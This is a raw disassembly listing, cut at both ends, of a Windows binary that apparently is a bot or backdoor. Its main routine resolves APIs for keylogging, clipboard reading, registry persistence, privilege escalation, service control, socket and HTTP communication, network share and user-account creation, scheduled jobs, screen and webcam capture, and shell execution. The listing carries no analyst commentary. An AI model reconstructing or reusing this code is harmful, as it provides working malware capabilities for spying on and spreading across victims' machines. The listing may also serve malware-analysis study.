		push	edi
		mov	ds:dword_42FA24, eax
		call	esi ; dword_41C0A8
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_42F9B8, eax
		call	esi ; dword_41C0A8
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_42FAC8, eax
		call	esi ; dword_41C0A8
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_42F9E8, eax
		call	esi ; dword_41C0A8
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_42FA08, eax
		call	esi ; dword_41C0A8
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_42FA6C, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42FA74, ebx
		mov	ds:dword_42F960, eax
		jz	short loc_40574E
		cmp	ds:dword_42FA24, ebx
		jz	short loc_40574E
		cmp	ds:dword_42F9B8, ebx
		jz	short loc_40574E
		cmp	ds:dword_42FAC8, ebx
		jz	short loc_40574E
		cmp	ds:dword_42F9E8, ebx
		jz	short loc_40574E
		cmp	ds:dword_42FA08, ebx
		jz	short loc_40574E
		cmp	ds:dword_42FA6C, ebx
		jz	short loc_40574E
		cmp	eax, ebx
		jnz	short loc_405758


loc_40574E:				; CODE XREF: sub_405560+1B8j
					; sub_405560+1C0j ...
		mov	ds:dword_42FAE0, 1


loc_405758:				; CODE XREF: sub_405560+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_42F9E4, eax
		call	esi ; dword_41C0A8
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_42F8F8, eax
		call	esi ; dword_41C0A8
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_42F9B4, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42F9E4, ebx
		mov	ds:dword_42F9A0, eax
		jz	short loc_4057B5
		cmp	ds:dword_42F8F8, ebx
		jz	short loc_4057B5
		cmp	ds:dword_42F9B4, ebx
		jz	short loc_4057B5
		cmp	eax, ebx
		jnz	short loc_4057BF
		jmp	short loc_4057B5
; ---------------------------------------------------------------------------


loc_4057AA:				; CODE XREF: sub_405560+144j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FAE4, eax


loc_4057B5:				; CODE XREF: sub_405560+232j
					; sub_405560+23Aj ...
		mov	ds:dword_42FAE0, 1


loc_4057BF:				; CODE XREF: sub_405560+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; dword_41C0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40595A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_42FA88, eax
		call	esi ; dword_41C0A8
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_42F9CC, eax
		call	esi ; dword_41C0A8
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_42FA3C, eax
		call	esi ; dword_41C0A8
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_42F924, eax
		call	esi ; dword_41C0A8
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_42F984, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42FA88, ebx
		mov	ds:dword_42F9F4, eax
		jz	short loc_40584A
		cmp	ds:dword_42F9CC, ebx
		jz	short loc_40584A
		cmp	ds:dword_42FA3C, ebx
		jz	short loc_40584A
		cmp	ds:dword_42F924, ebx
		jz	short loc_40584A
		cmp	ds:dword_42F984, ebx
		jz	short loc_40584A
		cmp	eax, ebx
		jnz	short loc_405854


loc_40584A:				; CODE XREF: sub_405560+2C4j
					; sub_405560+2CCj ...
		mov	ds:dword_42FAE8, 1


loc_405854:				; CODE XREF: sub_405560+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_42F9FC, eax
		call	esi ; dword_41C0A8
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_42F9D4, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42F9FC, ebx
		mov	ds:dword_42FA84, eax
		jz	short loc_40588F
		cmp	ds:dword_42F9D4, ebx
		jz	short loc_40588F
		cmp	eax, ebx
		jnz	short loc_405899


loc_40588F:				; CODE XREF: sub_405560+321j
					; sub_405560+329j
		mov	ds:dword_42FAE8, 1


loc_405899:				; CODE XREF: sub_405560+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_42FA0C, eax
		call	esi ; dword_41C0A8
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_42F900, eax
		call	esi ; dword_41C0A8
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_42F908, eax
		call	esi ; dword_41C0A8
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_42F968, eax
		call	esi ; dword_41C0A8
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_42F96C, eax
		call	esi ; dword_41C0A8
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_42F91C, eax
		call	esi ; dword_41C0A8
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_42F9D8, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42FA0C, ebx
		mov	ds:dword_42F90C, eax
		jz	short loc_40593D
		cmp	ds:dword_42F900, ebx
		jz	short loc_40593D
		cmp	ds:dword_42F908, ebx
		jz	short loc_40593D
		cmp	ds:dword_42F968, ebx
		jz	short loc_40593D
		cmp	ds:dword_42F96C, ebx
		jz	short loc_40593D
		cmp	ds:dword_42F91C, ebx
		jz	short loc_40593D
		cmp	ds:dword_42F9D8, ebx
		jz	short loc_40593D
		cmp	eax, ebx
		jnz	short loc_405947


loc_40593D:				; CODE XREF: sub_405560+3A7j
					; sub_405560+3AFj ...
		mov	ds:dword_42FAE8, 1


loc_405947:				; CODE XREF: sub_405560+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; dword_41C0A8
		cmp	eax, ebx
		mov	ds:dword_42F904, eax
		jnz	short loc_40596F
		jmp	short loc_405965
; ---------------------------------------------------------------------------


loc_40595A:				; CODE XREF: sub_405560+26Aj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FAEC, eax


loc_405965:				; CODE XREF: sub_405560+3F8j
		mov	ds:dword_42FAE8, 1


loc_40596F:				; CODE XREF: sub_405560+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; dword_41C0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_405A3B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_42FA04, eax
		call	esi ; dword_41C0A8
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_42FA5C, eax
		call	esi ; dword_41C0A8
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_42FA64, eax
		call	esi ; dword_41C0A8
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_42FA20, eax
		call	esi ; dword_41C0A8
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_42F948, eax
		call	esi ; dword_41C0A8
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_42F8F4, eax
		call	esi ; dword_41C0A8
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_42FA60, eax
		call	esi ; dword_41C0A8
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_42F8E0, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42FA04, ebx
		mov	ds:dword_42F97C, eax
		jz	short loc_405A46
		cmp	ds:dword_42FA5C, ebx
		jz	short loc_405A46
		cmp	ds:dword_42FA64, ebx
		jz	short loc_405A46
		cmp	ds:dword_42FA20, ebx
		jz	short loc_405A46
		cmp	ds:dword_42F948, ebx
		jz	short loc_405A46
		cmp	ds:dword_42F8F4, ebx
		jz	short loc_405A46
		cmp	ds:dword_42FA60, ebx
		jz	short loc_405A46
		cmp	ds:dword_42F8E0, ebx
		jz	short loc_405A46
		cmp	eax, ebx
		jnz	short loc_405A50
		jmp	short loc_405A46
; ---------------------------------------------------------------------------


loc_405A3B:				; CODE XREF: sub_405560+41Aj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FAF4, eax


loc_405A46:				; CODE XREF: sub_405560+49Bj
					; sub_405560+4A3j ...
		mov	ds:dword_42FAF0, 1


loc_405A50:				; CODE XREF: sub_405560+4D7j
		mov	ebp, ds:dword_41C0A4
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; dword_41C0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_405D0C
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_42F990, eax
		call	esi ; dword_41C0A8
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_42FABC, eax
		call	esi ; dword_41C0A8
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_42F934, eax
		call	esi ; dword_41C0A8
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_42F910, eax
		call	esi ; dword_41C0A8
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_42F9C4, eax
		call	esi ; dword_41C0A8
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_42F9AC, eax
		call	esi ; dword_41C0A8
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_42F978, eax
		call	esi ; dword_41C0A8
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_42FA98, eax
		call	esi ; dword_41C0A8
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_42FAB4, eax
		call	esi ; dword_41C0A8
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_42F9C0, eax
		call	esi ; dword_41C0A8
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_42FAA4, eax
		call	esi ; dword_41C0A8
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_42FA58, eax
		call	esi ; dword_41C0A8
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_42FA18, eax
		call	esi ; dword_41C0A8
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_42FA14, eax
		call	esi ; dword_41C0A8
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_42F954, eax
		call	esi ; dword_41C0A8
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_42F94C, eax
		call	esi ; dword_41C0A8
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_42FA68, eax
		call	esi ; dword_41C0A8
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_42FA7C, eax
		call	esi ; dword_41C0A8
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_42FA30, eax
		call	esi ; dword_41C0A8
		mov	ds:dword_42F9F0, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_42FA44, eax
		call	esi ; dword_41C0A8
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_42FA00, eax
		call	esi ; dword_41C0A8
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_42FA40, eax
		call	esi ; dword_41C0A8
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_42FAAC, eax
		call	esi ; dword_41C0A8
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_42F9F8, eax
		call	esi ; dword_41C0A8
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_42F9BC, eax
		call	esi ; dword_41C0A8
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_42FA2C, eax
		call	esi ; dword_41C0A8
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_42FA9C, eax
		call	esi ; dword_41C0A8
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_42F9D0, eax
		call	esi ; dword_41C0A8
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_42F974, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42F990, ebx
		mov	ds:dword_42FAB0, eax
		jz	loc_405D17
		cmp	ds:dword_42FABC, ebx
		jz	loc_405D17
		cmp	ds:dword_42F934, ebx
		jz	loc_405D17
		cmp	ds:dword_42F9C4, ebx
		jz	loc_405D17
		cmp	ds:dword_42F9AC, ebx
		jz	loc_405D17
		cmp	ds:dword_42F978, ebx
		jz	loc_405D17
		cmp	ds:dword_42FA98, ebx
		jz	loc_405D17
		cmp	ds:dword_42FAB4, ebx
		jz	loc_405D17
		cmp	ds:dword_42F9C0, ebx
		jz	loc_405D17
		cmp	ds:dword_42FAA4, ebx
		jz	loc_405D17
		cmp	ds:dword_42FA58, ebx
		jz	loc_405D17
		cmp	ds:dword_42FA18, ebx
		jz	loc_405D17
		cmp	ds:dword_42FA14, ebx
		jz	loc_405D17
		cmp	ds:dword_42F954, ebx
		jz	short loc_405D17
		cmp	ds:dword_42FA68, ebx
		jz	short loc_405D17
		cmp	ds:dword_42FA7C, ebx
		jz	short loc_405D17
		cmp	ds:dword_42FA30, ebx
		jz	short loc_405D17
		cmp	ds:dword_42F9F0, ebx
		jz	short loc_405D17
		cmp	ds:dword_42FA44, ebx
		jz	short loc_405D17
		cmp	ds:dword_42FA00, ebx
		jz	short loc_405D17
		cmp	ds:dword_42FA40, ebx
		jz	short loc_405D17
		cmp	ds:dword_42FAAC, ebx
		jz	short loc_405D17
		cmp	ds:dword_42F9F8, ebx
		jz	short loc_405D17
		cmp	ds:dword_42F9BC, ebx
		jz	short loc_405D17
		cmp	ds:dword_42FA2C, ebx
		jz	short loc_405D17
		cmp	ds:dword_42FA9C, ebx
		jz	short loc_405D17
		cmp	ds:dword_42F9D0, ebx
		jz	short loc_405D17
		cmp	eax, ebx
		jnz	short loc_405D21
		jmp	short loc_405D17
; ---------------------------------------------------------------------------


loc_405D0C:				; CODE XREF: sub_405560+501j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FAFC, eax


loc_405D17:				; CODE XREF: sub_405560+6A0j
					; sub_405560+6ACj ...
		mov	ds:dword_42FAF8, 1


loc_405D21:				; CODE XREF: sub_405560+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; dword_41C0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_405E26
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_42F95C, eax
		call	esi ; dword_41C0A8
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_42F8E8, eax
		call	esi ; dword_41C0A8
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_42F9E0, eax
		call	esi ; dword_41C0A8
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_42F994, eax
		call	esi ; dword_41C0A8
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_42F9EC, eax
		call	esi ; dword_41C0A8
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_42F9B0, eax
		call	esi ; dword_41C0A8
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_42F928, eax
		call	esi ; dword_41C0A8
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_42F920, eax
		call	esi ; dword_41C0A8
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_42F930, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42F95C, ebx
		mov	ecx, ds:dword_42F9B0
		mov	ds:dword_42FA4C, eax
		jz	short loc_405E02
		cmp	ds:dword_42F8E8, ebx
		jz	short loc_405E02
		cmp	ds:dword_42F9E0, ebx
		jz	short loc_405E02
		cmp	ds:dword_42F994, ebx
		jz	short loc_405E02
		cmp	ds:dword_42F9EC, ebx
		jz	short loc_405E02
		cmp	ecx, ebx
		jz	short loc_405E02
		cmp	ds:dword_42F928, ebx
		jz	short loc_405E02
		cmp	ds:dword_42F920, ebx
		jz	short loc_405E02
		cmp	ds:dword_42F930, ebx
		jz	short loc_405E02
		cmp	eax, ebx
		jnz	short loc_405E0C


loc_405E02:				; CODE XREF: sub_405560+860j
					; sub_405560+868j ...
		mov	ds:dword_42FB00, 1


loc_405E0C:				; CODE XREF: sub_405560+8A0j
		cmp	ecx, ebx
		jz	short loc_405E41
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx ; dword_42F9B0
		cmp	eax, ebx
		mov	ds:dword_42F9C8, eax
		jnz	short loc_405E41
		jmp	short loc_405E3B
; ---------------------------------------------------------------------------


loc_405E26:				; CODE XREF: sub_405560+7CCj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FB04, eax
		mov	ds:dword_42FB00, 1


loc_405E3B:				; CODE XREF: sub_405560+8C4j
		mov	ds:dword_42F9C8, ebx


loc_405E41:				; CODE XREF: sub_405560+8AEj
					; sub_405560+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; dword_41C0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_405E8B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_42F9A4, eax
		call	esi ; dword_41C0A8
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_42FAD0, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42F9A4, ebx
		mov	ds:dword_42F93C, eax
		jz	short loc_405E96
		cmp	ds:dword_42FAD0, ebx
		jz	short loc_405E96
		cmp	eax, ebx
		jnz	short loc_405EA0
		jmp	short loc_405E96
; ---------------------------------------------------------------------------


loc_405E8B:				; CODE XREF: sub_405560+8ECj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FB0C, eax


loc_405E96:				; CODE XREF: sub_405560+91Bj
					; sub_405560+923j ...
		mov	ds:dword_42FB08, 1


loc_405EA0:				; CODE XREF: sub_405560+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; dword_41C0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_405F96
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_42F918, eax
		call	esi ; dword_41C0A8
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_42F8F0, eax
		call	esi ; dword_41C0A8
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_42F964, eax
		call	esi ; dword_41C0A8
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_42F998, eax
		call	esi ; dword_41C0A8
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_42FAA8, eax
		call	esi ; dword_41C0A8
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_42F950, eax
		call	esi ; dword_41C0A8
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_42F8FC, eax
		call	esi ; dword_41C0A8
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_42F8EC, eax
		call	esi ; dword_41C0A8
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_42F980, eax
		call	esi ; dword_41C0A8
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_42FA70, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42F918, ebx
		mov	ds:dword_42FA28, eax
		jz	short loc_405FA1
		cmp	ds:dword_42F8F0, ebx
		jz	short loc_405FA1
		cmp	ds:dword_42F964, ebx
		jz	short loc_405FA1
		cmp	ds:dword_42F998, ebx
		jz	short loc_405FA1
		cmp	ds:dword_42FAA8, ebx
		jz	short loc_405FA1
		cmp	ds:dword_42F950, ebx
		jz	short loc_405FA1
		cmp	ds:dword_42F8FC, ebx
		jz	short loc_405FA1
		cmp	ds:dword_42F8EC, ebx
		jz	short loc_405FA1
		cmp	ds:dword_42F980, ebx
		jz	short loc_405FA1
		cmp	ds:dword_42FA70, ebx
		jz	short loc_405FA1
		cmp	eax, ebx
		jnz	short loc_405FAB
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------


loc_405F96:				; CODE XREF: sub_405560+94Bj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FB14, eax


loc_405FA1:				; CODE XREF: sub_405560+9E6j
					; sub_405560+9EEj ...
		mov	ds:dword_42FB10, 1


loc_405FAB:				; CODE XREF: sub_405560+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; dword_41C0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_405FE0
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_42F940, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42F940, ebx
		mov	ds:dword_42FA10, eax
		jz	short loc_405FEB
		cmp	eax, ebx
		jnz	short loc_405FF5
		jmp	short loc_405FEB
; ---------------------------------------------------------------------------


loc_405FE0:				; CODE XREF: sub_405560+A56j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FB1C, eax


loc_405FEB:				; CODE XREF: sub_405560+A78j
					; sub_405560+A7Ej
		mov	ds:dword_42FB18, 1


loc_405FF5:				; CODE XREF: sub_405560+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; dword_41C0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40602A
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_42FA94, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42FA94, ebx
		mov	ds:dword_42FA90, eax
		jz	short loc_406035
		cmp	eax, ebx
		jnz	short loc_40603F
		jmp	short loc_406035
; ---------------------------------------------------------------------------


loc_40602A:				; CODE XREF: sub_405560+AA0j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FB24, eax


loc_406035:				; CODE XREF: sub_405560+AC2j
					; sub_405560+AC8j
		mov	ds:dword_42FB20, 1


loc_40603F:				; CODE XREF: sub_405560+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; dword_41C0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40609E
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_42FAC0, eax
		call	esi ; dword_41C0A8
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_42FAB8, eax
		call	esi ; dword_41C0A8
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_42FA80, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42FAC0, ebx
		mov	ds:dword_42F958, eax
		jz	short loc_4060A9
		cmp	ds:dword_42FAB8, ebx
		jz	short loc_4060A9
		cmp	ds:dword_42FA80, ebx
		jz	short loc_4060A9
		cmp	eax, ebx
		jnz	short loc_4060B3
		jmp	short loc_4060A9
; ---------------------------------------------------------------------------


loc_40609E:				; CODE XREF: sub_405560+AEAj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FB2C, eax


loc_4060A9:				; CODE XREF: sub_405560+B26j
					; sub_405560+B2Ej ...
		mov	ds:dword_42FB28, 1


loc_4060B3:				; CODE XREF: sub_405560+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; dword_41C0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4060E8
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_42F98C, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42F98C, ebx
		mov	ds:dword_42FA8C, eax
		jz	short loc_4060F3
		cmp	eax, ebx
		jnz	short loc_4060FD
		jmp	short loc_4060F3
; ---------------------------------------------------------------------------


loc_4060E8:				; CODE XREF: sub_405560+B5Ej
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FB34, eax


loc_4060F3:				; CODE XREF: sub_405560+B80j
					; sub_405560+B86j
		mov	ds:dword_42FB30, 1


loc_4060FD:				; CODE XREF: sub_405560+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; dword_41C0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406186
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_42FA54, eax
		call	esi ; dword_41C0A8
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_42FAA0, eax
		call	esi ; dword_41C0A8
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_42F9DC, eax
		call	esi ; dword_41C0A8
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_42F99C, eax
		call	esi ; dword_41C0A8
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_42FA34, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42FA54, ebx
		mov	ds:dword_42F9A8, eax
		jz	short loc_406191
		cmp	ds:dword_42FAA0, ebx
		jz	short loc_406191
		cmp	ds:dword_42F9DC, ebx
		jz	short loc_406191
		cmp	ds:dword_42F99C, ebx
		jz	short loc_406191
		cmp	ds:dword_42FA34, ebx
		jz	short loc_406191
		cmp	eax, ebx
		jnz	short loc_40619B
		jmp	short loc_406191
; ---------------------------------------------------------------------------


loc_406186:				; CODE XREF: sub_405560+BA8j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FB3C, eax


loc_406191:				; CODE XREF: sub_405560+BFEj
					; sub_405560+C06j ...
		mov	ds:dword_42FB38, 1


loc_40619B:				; CODE XREF: sub_405560+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp ; dword_41C0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4061D0
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_42F970, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42F970, ebx
		mov	ds:dword_42FA48, eax
		jz	short loc_4061DB
		cmp	eax, ebx
		jnz	short loc_4061E5
		jmp	short loc_4061DB
; ---------------------------------------------------------------------------


loc_4061D0:				; CODE XREF: sub_405560+C46j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FB44, eax


loc_4061DB:				; CODE XREF: sub_405560+C68j
					; sub_405560+C6Ej
		mov	ds:dword_42FB40, 1


loc_4061E5:				; CODE XREF: sub_405560+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_405560	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4061ED	proc near		; CODE XREF: seg000:0040D58Bp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_42FAD8, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_406235
		push	ds:dword_42FADC
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
